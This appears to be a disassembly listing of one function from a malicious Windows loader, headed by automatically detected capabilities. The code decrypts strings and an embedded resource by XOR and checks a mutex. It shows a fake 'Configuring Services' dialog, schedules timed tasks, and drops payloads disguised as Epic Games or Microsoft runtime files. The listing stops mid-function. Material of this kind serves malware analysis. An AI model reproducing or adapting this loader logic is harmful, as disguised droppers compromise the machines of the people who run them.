Function at 0x14ae0
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Encode data using xor
Extract resource via kernel32 functions
Parse url

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20d8
call fcn.0002de70
mov eax, dword [0x63170]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x20b4], eax
jmp 0x14b1d
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x2020], 0xdb5ff829
mov dword [ebp - 0x201c], 0xc24c5c3f
mov dword [ebp - 0x2018], 0xda52e31a
mov ecx, dword [eax]
mov word [ebp - 0x2014], 0x393a
mov dword [ebp - 0x209c], ecx
mov eax, dword [ecx + 0x334]
lea edi, [ecx + 0x2d0]
test al, 1
jne 0x14bb4
or eax, 1
mov byte [edi + 0xe], 1
xorps xmm0, xmm0
mov dword [ecx + 0x334], eax
movlpd qword [ebp - 0x2028], xmm0
mov edx, dword [ebp - 0x2024]
mov ecx, dword [ebp - 0x2028]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x2020]
mov byte [edi + ecx], al
add ecx, 1
adc edx, 0
jne 0x14ba7
cmp ecx, 0xe
jb 0x14b90
push 0x54d80
call fcn.0002dbad
add esp, 4
cmp byte [edi + 0xe], 0
je 0x14bfc
xorps xmm0, xmm0
movlpd qword [ebp - 0x2028], xmm0
mov ebx, dword [ebp - 0x2024]
mov esi, dword [ebp - 0x2028]
mov ecx, esi
mov eax, 0xbf31916f
and ecx, 7
mov edx, 0xad3f396d
shl ecx, 3
call fcn.00053dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x14bf8
cmp esi, 0xe
jb 0x14bd1
mov byte [edi + 0xe], 0
push edi
push dword [ebp - 0x20b4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20ac], eax
jmp 0x14c21
jmp 0x14c33
mov edx, dword [ebp - 0x209c]
mov dword [ebp - 0x2020], 0xf56668fb
mov dword [ebp - 0x201c], 0x1e8e4007
mov dword [ebp - 0x2018], 0xf46475c2
mov eax, dword [edx + 0x1d0]
lea edi, [edx + 0x188]
mov byte [ebp - 0x2014], 0x55
test al, 1
jne 0x14cb6
or eax, 1
mov byte [edi + 0xd], 1
xorps xmm0, xmm0
mov dword [edx + 0x1d0], eax
movlpd qword [ebp - 0x2028], xmm0
mov edx, dword [ebp - 0x2024]
mov ecx, dword [ebp - 0x2028]
mov al, byte [ebp + ecx - 0x2020]
mov byte [edi + ecx], al
add ecx, 1
adc edx, 0
jne 0x14ca9
cmp ecx, 0xd
jb 0x14c92
push 0x54d60
call fcn.0002dbad
add esp, 4
cmp byte [edi + 0xd], 0
je 0x14cfe
xorps xmm0, xmm0
movlpd qword [ebp - 0x2028], xmm0
mov ebx, dword [ebp - 0x2024]
mov esi, dword [ebp - 0x2028]
mov ecx, esi
mov eax, 0x910707b7
and ecx, 7
mov edx, 0x71fd2555
shl ecx, 3
call fcn.00053dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x14cfa
cmp esi, 0xd
jb 0x14cd3
mov byte [edi + 0xd], 0
push edi
push dword [ebp - 0x20b4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20a4], eax
jmp 0x14d23
mov ecx, dword [ebp - 0x209c]
mov dword [ebp - 0x2020], 0x50919848
mov dword [ebp - 0x201c], 0x2ab139fa
mov dword [ebp - 0x2018], 0x479e9e68
mov eax, dword [ecx + 0x2e0]
lea edi, [ecx + 0xbc]
mov word [ebp - 0x2014], 0x3af6
mov byte [ebp - 0x2012], 0xe3
test al, 1
jne 0x14db4
or eax, 1
mov byte [edi + 0xf], 1
xorps xmm0, xmm0
mov dword [ecx + 0x2e0], eax
movlpd qword [ebp - 0x2028], xmm0
mov edx, dword [ebp - 0x2024]
mov ecx, dword [ebp - 0x2028]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x2020]
mov byte [edi + ecx], al
add ecx, 1
adc edx, 0
jne 0x14da7
cmp ecx, 0xf
jb 0x14d90
push 0x54d40
call fcn.0002dbad
add esp, 4
cmp byte [edi + 0xf], 0
je 0x14dfc
xorps xmm0, xmm0
movlpd qword [ebp - 0x2028], xmm0
mov ebx, dword [ebp - 0x2024]
mov esi, dword [ebp - 0x2028]
mov ecx, esi
mov eax, 0x35ebf11b
and ecx, 7
mov edx, 0x4fe35f95
shl ecx, 3
call fcn.00053dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x14df8
cmp esi, 0xf
jb 0x14dd1
mov byte [edi + 0xf], 0
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push dword [ebp - 0x20b4]
call ebx
push str.FONTS
push str.TRUETYPE
push 0
mov edi, eax
call dword [ebp - 0x20ac]
mov esi, eax
test esi, esi
jne 0x14e3b
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0002d829
mov esp, ebp
pop ebp
ret 0x10
push esi
push 0
call dword [ebp - 0x20a4]
push esi
push 0
mov dword [ebp - 0x20ac], eax
call edi
mov edx, dword [ebp - 0x209c]
mov ecx, dword [0x69d64]
mov dword [0x6551c], eax
cmp ecx, dword [edx + 0xc]
jg 0x16161
push 0xc8
push 0
push 0
push str.Please_Wait...
push str.Configuring_Services
push 0
call dword [0x69d60]
mov eax, dword [0x6551c]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
inc eax
push eax
push 0x40
call ebx
mov dword [ebp - 0x205c], eax
mov eax, dword [0x6551c]
inc eax
push eax
push 0x40
call ebx
push dword [0x6551c]
mov dword [0x69d58], eax
push dword [ebp - 0x20ac]
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
push dword [ebp - 0x205c]
call fcn.0002ef00
mov ebx, dword [0x6551c]
add esp, 0xc
mov edi, dword [ebp - 0x205c]
xor esi, esi
mov dword [ebp - 0x201c], 0x444e4153
mov dword [ebp - 0x2018], 0x45504950
mov byte [ebp - 0x2014], 0x31
test ebx, ebx
jle 0x14f2e
nop dword [eax]
mov eax, 0x38e38e39
mov ecx, esi
mul esi
shr edx, 1
lea eax, [edx + edx*8]
sub ecx, eax
mov al, byte [ebp + ecx - 0x201c]
mov ecx, dword [0x69d58]
xor al, byte [esi + edi]
mov byte [esi + ecx], al
inc esi
cmp esi, ebx
jl 0x14f00
mov edi, dword [ebp - 0x205c]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0x200
xorps xmm0, xmm0
mov dword [ebp - 0x208c], 0
push 0
push 0x69b48
movlpd qword [ebp - 0x2080], xmm0
movlpd qword [ebp - 0x2078], xmm0
mov dword [ebp - 0x2070], 0
movlpd qword [ebp - 0x2064], xmm0
mov dword [ebp - 0x2098], 0x3c
call fcn.0002f670
add esp, 0xc
mov dword [ebp - 0x2094], 0x69b48
mov dword [ebp - 0x2090], 0x200
push 0x200
push 0
push 0x69940
call fcn.0002f670
add esp, 0xc
mov dword [ebp - 0x2088], 0x69940
mov dword [ebp - 0x2084], 0x200
push 0x200
push 0
push 0x65730
call fcn.0002f670
add esp, 0xc
mov dword [ebp - 0x206c], 0x65730
mov dword [ebp - 0x2068], 0x200
jmp 0x14ff8
lea eax, [ebp - 0x2098]
push eax
mov eax, dword [0x69d58]
push 0
add eax, 0x2c
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [0x69d58]
add eax, 0x2c
push eax
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
jmp 0x15032
push 0x200
push 0
push 0x65520
call fcn.0002f670
add esp, 0xc
push 0x65730
push 0x65520
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x205c]
push eax
push 0x60890
push 0x65520
call fcn.00030f16
add esp, 0xc
push 0x1000
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0x1000
push eax
push 0
mov dword [0x69d4c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x69d58]
add eax, 4
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x150d0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0002d829
mov esp, ebp
pop ebp
ret 0x10
jmp 0x150e2
push 0
call fcn.00031044
add esp, 4
push eax
call fcn.00030f79
add esp, 4
jmp 0x15107
call fcn.000131b0
call fcn.000121e0
call fcn.000126a0
push dword [0x69d50]
call fcn.000310ac
add esp, 4
push dword [0x69d54]
call fcn.000310ac
add esp, 4
push dword [0x69d5c]
call fcn.000310ac
add esp, 4
push dword [0x69b44]
call fcn.000310ac
add esp, 4
push dword [0x69b40]
call fcn.000310ac
add esp, 4
push dword [0x65510]
call fcn.000310ac
mov ecx, dword [0x69d58]
add esp, 4
lea ecx, [ecx + 0x22c]
call fcn.00011530
mov ecx, dword [0x69d58]
push 0x800
mov dword [ebp - 0x200c], eax
lea eax, [ebp - 0x808]
push 0
cmp dword [ecx], 3
push eax
jne 0x15424
call fcn.0002f670
add esp, 0xc
lea eax, [ebp - 0x1008]
push 0x800
push 0
push eax
call fcn.0002f670
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x808]
add esp, 0xc
push 0x60894
push eax
call esi
push str.All_rights_reserved.
lea eax, [ebp - 0x1008]
push eax
call esi
mov ecx, 6
call fcn.00012180
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
push edi
call ebx
mov esi, eax
lea eax, [ebp - 0x808]
push eax
call ebx
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
mov esi, eax
push edi
lea eax, [ebp - 0x808]
push eax
push esi
call ebx
mov ecx, dword [ebp - 0x200c]
lea eax, [ebp - 0x1008]
add esp, 0xc
mov edx, esi
push eax
push str.10:00:00
call fcn.000118d0
add esp, 8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
call esi
push edi
call esi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 8
call fcn.00012180
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x808]
push edi
push eax
push esi
call ebx
mov ecx, dword [ebp - 0x200c]
lea eax, [ebp - 0x1008]
add esp, 0xc
mov edx, esi
push eax
push str.11:00:00
call fcn.000118d0
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
add esp, 8
push esi
call ebx
push edi
call ebx
jmp 0x152cd
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x152ea
mov ecx, 6
call fcn.00012180
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
push edi
call ebx
mov esi, eax
lea eax, [ebp - 0x808]
push eax
call ebx
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x808]
push edi
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 0x200c]
lea eax, [ebp - 0x1008]
add esp, 0xc
mov edx, esi
push eax
push str.12:00:00
call fcn.000118d0
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
add esp, 8
push esi
call ebx
push edi
call ebx
jmp 0x15365
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x15382
mov ecx, 8
call fcn.00012180
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
push edi
call ebx
mov esi, eax
lea eax, [ebp - 0x808]
push eax
call ebx
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x808]
push edi
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 0x200c]
lea eax, [ebp - 0x1008]
add esp, 0xc
mov edx, esi
push eax
push str.13:00:00
call fcn.000118d0
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
add esp, 8
push esi
call ebx
push edi
call ebx
jmp 0x153fd
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1541a
mov ecx, 6
jmp 0x156c9
call fcn.0002f670
add esp, 0xc
lea eax, [ebp - 0x1008]
push 0x800
push 0
push eax
call fcn.0002f670
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x808]
add esp, 0xc
push str.Epic_Online_Services_IPC__s
push eax
call esi
push str.EpicGamesLauncher
lea eax, [ebp - 0x1008]
push eax
call esi
mov ecx, 8
call fcn.00012180
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
push edi
call ebx
mov esi, eax
lea eax, [ebp - 0x808]
push eax
call ebx
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x808]
push edi
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 0x200c]
lea eax, [ebp - 0x1008]
add esp, 0xc
mov edx, esi
push eax
push str.10:00:00
call fcn.000118d0
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
add esp, 8
push esi
call ebx
push edi
call ebx
jmp 0x154df
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x154fc
mov ecx, 6
call fcn.00012180
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
push edi
call ebx
mov esi, eax
lea eax, [ebp - 0x808]
push eax
call ebx
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x808]
push edi
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x1008]
mov edx, esi
push eax
push str.11:00:00
mov ecx, dword [ebp - 0x200c]
call fcn.000118d0
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
add esp, 8
push esi
call ebx
push edi
call ebx
jmp 0x15577
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x15594
mov ecx, 8
call fcn.00012180
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
push edi
call ebx
mov esi, eax
lea eax, [ebp - 0x808]
push eax
call ebx
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x808]
push edi
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 0x200c]
lea eax, [ebp - 0x1008]
add esp, 0xc
mov edx, esi
push eax
push str.12:00:00
call fcn.000118d0
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
add esp, 8
push esi
call ebx
push edi
call ebx
jmp 0x1560f
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1562c
mov ecx, 6
call fcn.00012180
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
push edi
call ebx
mov esi, eax
lea eax, [ebp - 0x808]
push eax
call ebx
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x808]
push edi
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 0x200c]
lea eax, [ebp - 0x1008]
add esp, 0xc
mov edx, esi
push eax
push str.13:00:00
call fcn.000118d0
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
add esp, 8
push esi
call ebx
push edi
call ebx
jmp 0x156a7
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x156c4
mov ecx, 8
call fcn.00012180
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
push edi
call ebx
mov esi, eax
lea eax, [ebp - 0x808]
push eax
call ebx
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x808]
push edi
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 0x200c]
lea eax, [ebp - 0x1008]
add esp, 0xc
mov edx, esi
push eax
push str.14:00:00
call fcn.000118d0
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
add esp, 8
push esi
call ebx
push edi
call ebx
push dword [ebp - 0x200c]
call ebx
mov ebx, dword [ebp - 0x209c]
mov dword [ebp - 0x200c], 0xdd7dec5f
mov esi, dword [ebp - 0x200c]
mov word [ebp - 0x202c], 0xd126
mov di, word [ebp - 0x202c]
lea eax, [ebx + 0x1e4]
mov dword [ebp - 0x20cc], eax
lea eax, [ebx + 0x2c0]
mov dword [ebp - 0x20d0], eax
lea eax, [ebx + 0x1c0]
mov dword [ebp - 0x20d4], eax
lea eax, [ebx + 0xd0]
mov dword [ebp - 0x20c8], eax
lea eax, [ebx + 0x1e0]
mov dword [ebp - 0x2058], 0x898e9af7
mov byte [ebp - 0x20c1], 0x81
mov dword [ebp - 0x2050], 0xcd474a01
mov word [ebp - 0x204c], 0x7a98
mov byte [ebp - 0x20c2], 0x77
mov dword [ebp - 0x2028], 0x481fca05
mov dword [ebp - 0x2024], 0x7d02b44a
mov dword [ebp - 0x20d8], eax
cmp dword [0x69d48], 0
jne 0x157e4
call fcn.00014970
call fcn.00016960
mov ecx, dword [ebx + 0x2a4]
mov dword [ebp - 0x20b4], eax
test cl, 1
jne 0x1585a
mov eax, dword [ebp - 0x2058]
or ecx, 1
mov byte [ebx + 0x1e9], 1
xorps xmm0, xmm0
mov dword [ebx + 0x1e4], eax
mov al, byte [ebp - 0x20c1]
movlpd qword [ebp - 0x20b0], xmm0
mov dword [ebx + 0x2a4], ecx
mov ecx, dword [ebp - 0x20ac]
mov byte [ebx + 0x1e8], al
mov eax, dword [ebp - 0x20b0]
nop dword [eax]
add eax, 1
adc ecx, 0
jne 0x1584d
cmp eax, 5
jb 0x15840
push 0x54d20
call fcn.0002dbad
add esp, 4
cmp byte [ebx + 0x1e9], 0
lea ecx, [ebx + 0x1e4]
je 0x158bd
xorps xmm0, xmm0
movlpd qword [ebp - 0x20b0], xmm0
mov esi, dword [ebp - 0x20ac]
mov ebx, dword [ebp - 0x20b0]
mov ecx, ebx
mov eax, 0xede7ed9f
and ecx, 7
mov edx, 0xcb730181
shl ecx, 3
call fcn.00053dd0
mov ecx, dword [ebp - 0x20cc]
xor byte [ebx + ecx], al
add ebx, 1
adc esi, 0
jne 0x158ad
cmp ebx, 5
jb 0x15880
mov esi, dword [ebp - 0x200c]
mov ebx, dword [ebp - 0x209c]
mov byte [ecx + 5], 0
push dword [0x6593c]
push ecx
push dword [ebp - 0x20b4]
call fcn.00016790
mov eax, dword [ebx + 0x244]
test al, 1
jne 0x15940
or eax, 1
mov byte [ebx + 0x2c7], 1
mov dword [ebx + 0x244], eax
xorps xmm0, xmm0
mov eax, dword [ebp - 0x2050]
mov dword [ebx + 0x2c0], eax
mov ax, word [ebp - 0x204c]
mov word [ebx + 0x2c4], ax
mov al, byte [ebp - 0x20c2]
movlpd qword [ebp - 0x20b0], xmm0
mov ecx, dword [ebp - 0x20ac]
mov byte [ebx + 0x2c6], al
mov eax, dword [ebp - 0x20b0]
add eax, 1
adc ecx, 0
jne 0x15933
cmp eax, 7
jb 0x15926
push 0x54d00
call fcn.0002dbad
add esp, 4
cmp byte [ebx + 0x2c7], 0
lea ecx, [ebx + 0x2c0]
je 0x159a3
xorps xmm0, xmm0
movlpd qword [ebp - 0x20b0], xmm0
mov esi, dword [ebp - 0x20ac]
mov ebx, dword [ebp - 0x20b0]
mov ecx, ebx
mov eax, 0xa1372f65
and ecx, 7
mov edx, 0x4d7703f7
shl ecx, 3
call fcn.00053dd0
mov ecx, dword [ebp - 0x20d0]
xor byte [ebx + ecx], al
add ebx, 1
adc esi, 0
jne 0x15993
cmp ebx, 7
jb 0x15966
mov esi, dword [ebp - 0x200c]
mov ebx, dword [ebp - 0x209c]
mov byte [ecx + 7], 0
movsd xmm0, qword [0x60b78]
sub esp, 8
movsd qword [esp], xmm0
push ecx
push dword [ebp - 0x20b4]
call fcn.000166d0
mov eax, dword [ebx + 0x30c]
test al, 1
jne 0x159f7
or eax, 1
mov byte [ebx + 0x1c4], 1
xorps xmm0, xmm0
mov dword [ebx + 0x30c], eax
push 0x54ce0
movlpd qword [ebp - 0x2020], xmm0
mov dword [ebx + 0x1c0], esi
call fcn.0002dbad
add esp, 4
cmp byte [ebx + 0x1c4], 0
lea ecx, [ebx + 0x1c0]
je 0x15a57
xorps xmm0, xmm0
movlpd qword [ebp - 0x20b0], xmm0
mov esi, dword [ebp - 0x20ac]
mov ebx, dword [ebp - 0x20b0]
nop dword [eax]
mov ecx, ebx
mov eax, 0xdd0f8929
and ecx, 7
mov edx, 0x37291b3b
shl ecx, 3
call fcn.00053dd0
mov ecx, dword [ebp - 0x20d4]
xor byte [ebx + ecx], al
add ebx, 1
adc esi, 0
jne 0x15a4d
cmp ebx, 4
jb 0x15a20
mov esi, dword [ebp - 0x200c]
mov byte [ecx + 4], 0
movsd xmm0, qword [0x60b88]
sub esp, 8
mov ebx, dword [ebp - 0x20b4]
movsd qword [esp], xmm0
push ecx
push ebx
call fcn.000166d0
push ebx
call fcn.00016bc0
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push dword [ebp - 0x20b4]
mov ebx, eax
call fcn.00016bc0
mov edx, ebx
mov ecx, eax
call fcn.00011130
push eax
mov dword [ebp - 0x20ac], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0x100
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
mov eax, dword [ebp - 0x209c]
mov dword [ebp - 0x20a4], ebx
mov ecx, dword [eax + 0x114]
test cl, 1
jne 0x15b0b
or ecx, 1
mov byte [eax + 0xd8], 1
mov dword [eax + 0x114], ecx
xorps xmm0, xmm0
mov ecx, dword [ebp - 0x2028]
mov dword [eax + 0xd0], ecx
mov ecx, dword [ebp - 0x2024]
push 0x54cc0
movlpd qword [ebp - 0x2020], xmm0
mov dword [eax + 0xd4], ecx
call fcn.0002dbad
add esp, 4
mov ecx, dword [ebp - 0x20c8]
cmp byte [ecx + 8], 0
je 0x15b6d
xorps xmm0, xmm0
movlpd qword [ebp - 0x20c0], xmm0
mov esi, dword [ebp - 0x20bc]
mov ebx, dword [ebp - 0x20c0]
nop
mov ecx, ebx
mov eax, 0x296bab61
and ecx, 7
mov edx, 0x7d719177
shl ecx, 3
call fcn.00053dd0
mov ecx, dword [ebp - 0x20c8]
xor byte [ebx + ecx], al
add ebx, 1
adc esi, 0
jne 0x15b5d
cmp ebx, 8
jb 0x15b30
mov esi, dword [ebp - 0x200c]
mov ebx, dword [ebp - 0x20a4]
mov byte [ecx + 8], 0
push dword [ebp - 0x20ac]
push ecx
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x2008]
push 0x1000
push 0
push eax
call fcn.0002f670
add esp, 0xc
lea eax, [ebp - 0x2008]
push 0x1000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, eax
mov ecx, ebx
call fcn.00011440
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ebx, dword [ebp - 0x209c]
mov eax, dword [ebx + 0x14c]
test al, 1
jne 0x15bf9
or eax, 1
mov byte [ebx + 0x1e2], 1
xorps xmm0, xmm0
mov dword [ebx + 0x14c], eax
push 0x54ca0
movlpd qword [ebp - 0x2020], xmm0
mov word [ebx + 0x1e0], di
call fcn.0002dbad
add esp, 4
cmp byte [ebx + 0x1e2], 0
lea ecx, [ebx + 0x1e0]
je 0x15c5d
xorps xmm0, xmm0
movlpd qword [ebp - 0x20a8], xmm0
mov esi, dword [ebp - 0x20a4]
mov ebx, dword [ebp - 0x20a8]
nop
mov ecx, ebx
mov eax, 0xef77d117
and ecx, 7
mov edx, 0x7d19e377
shl ecx, 3
call fcn.00053dd0
mov ecx, dword [ebp - 0x20d8]
xor byte [ebx + ecx], al
add ebx, 1
adc esi, 0
jne 0x15c4d
cmp ebx, 2
jb 0x15c20
mov esi, dword [ebp - 0x200c]
mov ebx, dword [ebp - 0x209c]
mov byte [ecx + 2], 0
push ecx
lea eax, [ebp - 0x2008]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x15d72
mov eax, dword [ebx + 0x104]
mov dword [ebp - 0x2038], 0x323f737a
mov word [ebp - 0x2034], 0x23bf
test al, 1
jne 0x15ceb
or eax, 1
mov byte [ebx + 0x316], 1
mov dword [ebx + 0x104], eax
xorps xmm0, xmm0
mov eax, dword [ebp - 0x2038]
mov dword [ebx + 0x310], eax
mov ax, word [ebp - 0x2034]
movlpd qword [ebp - 0x20a8], xmm0
mov ecx, dword [ebp - 0x20a4]
mov word [ebx + 0x314], ax
mov eax, dword [ebp - 0x20a8]
add eax, 1
adc ecx, 0
jne 0x15cde
cmp eax, 6
jb 0x15cd1
push 0x54c80
call fcn.0002dbad
add esp, 4
mov eax, ebx
cmp byte [eax + 0x316], 0
lea edx, [eax + 0x310]
mov dword [ebp - 0x20a4], edx
je 0x15d5c
xorps xmm0, xmm0
mov esi, edx
movlpd qword [ebp - 0x2020], xmm0
mov eax, dword [ebp - 0x201c]
mov ebx, dword [ebp - 0x2020]
mov dword [ebp - 0x20bc], eax
mov ecx, ebx
mov eax, 0x5b5d5d4b
and ecx, 7
mov edx, 0xdf9123d1
shl ecx, 3
call fcn.00053dd0
xor byte [ebx + esi], al
add ebx, 1
adc dword [ebp - 0x20bc], 0
jne 0x15d4c
cmp ebx, 6
jb 0x15d21
mov edx, dword [ebp - 0x20a4]
mov byte [esi + 6], 0
mov esi, dword [ebp - 0x200c]
push 1
push str.EOSIPC
push str.EOSIPC.exe
mov ecx, str.EOSIPC.zip
jmp 0x1612c
mov eax, dword [ebx + 0x1ac]
mov word [ebp - 0x202c], 0x5fbd
test al, 1
jne 0x15dbb
or eax, 1
mov byte [ebx + 0x31e], 1
mov dword [ebx + 0x1ac], eax
xorps xmm0, xmm0
mov ax, word [ebp - 0x202c]
push 0x54c60
movlpd qword [ebp - 0x2020], xmm0
mov word [ebx + 0x31c], ax
call fcn.0002dbad
add esp, 4
mov eax, ebx
cmp byte [eax + 0x31e], 0
lea eax, [eax + 0x31c]
mov dword [ebp - 0x20bc], eax
je 0x15e36
mov esi, dword [ebp - 0x20bc]
xorps xmm0, xmm0
movlpd qword [ebp - 0x2020], xmm0
mov eax, dword [ebp - 0x201c]
mov ebx, dword [ebp - 0x2020]
mov dword [ebp - 0x20a4], eax
mov ecx, ebx
mov eax, 0xdfd35f8f
and ecx, 7
mov edx, 0xc38169cf
shl ecx, 3
call fcn.00053dd0
xor byte [ebx + esi], al
add ebx, 1
adc dword [ebp - 0x20a4], 0
jne 0x15e20
cmp ebx, 2
jb 0x15df5
mov eax, dword [ebp - 0x20bc]
mov ebx, dword [ebp - 0x209c]
mov byte [esi + 2], 0
mov esi, dword [ebp - 0x200c]
push eax
lea eax, [ebp - 0x2008]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x15f53
mov eax, dword [ebx + 0x254]
mov dword [ebp - 0x2048], 0x4fd3f1
mov word [ebp - 0x2044], 0xb375
test al, 1
jne 0x15ec6
or eax, 1
mov byte [ebx + 0xea], 1
mov dword [ebx + 0x254], eax
xorps xmm0, xmm0
lea ebx, [ebx + 0xe4]
movlpd qword [ebp - 0x2020], xmm0
mov edx, dword [ebp - 0x201c]
mov ecx, dword [ebp - 0x2020]
mov dword [ebp - 0x20bc], ebx
nop dword [eax]
mov al, byte [ebp + ecx - 0x2048]
mov byte [ecx + ebx], al
add ecx, 1
adc edx, 0
jne 0x15eb7
cmp ecx, 6
jb 0x15ea0
push 0x54c40
call fcn.0002dbad
add esp, 4
jmp 0x15ed2
lea ebx, [ebx + 0xe4]
mov dword [ebp - 0x20bc], ebx
cmp byte [ebx + 6], 0
je 0x15f3b
mov esi, dword [ebp - 0x20bc]
xorps xmm0, xmm0
movlpd qword [ebp - 0x2020], xmm0
mov eax, dword [ebp - 0x201c]
mov ebx, dword [ebp - 0x2020]
mov dword [ebp - 0x20a4], eax
nop dword [eax + eax]
mov ecx, ebx
mov eax, 0x692dfdc3
and ecx, 7
mov edx, 0x3f73b31b
shl ecx, 3
call fcn.00053dd0
xor byte [ebx + esi], al
add ebx, 1
adc dword [ebp - 0x20a4], 0
jne 0x15f2b
cmp ebx, 6
jb 0x15f00
mov ebx, dword [ebp - 0x20bc]
mov esi, dword [ebp - 0x200c]
mov byte [ebx + 6], 0
push 2
push str.MS_CRT
push str.ucrtbase.exe
mov edx, ebx
mov ecx, str.ucrtbase.zip
jmp 0x1612c
mov eax, dword [ebx + 0xb8]
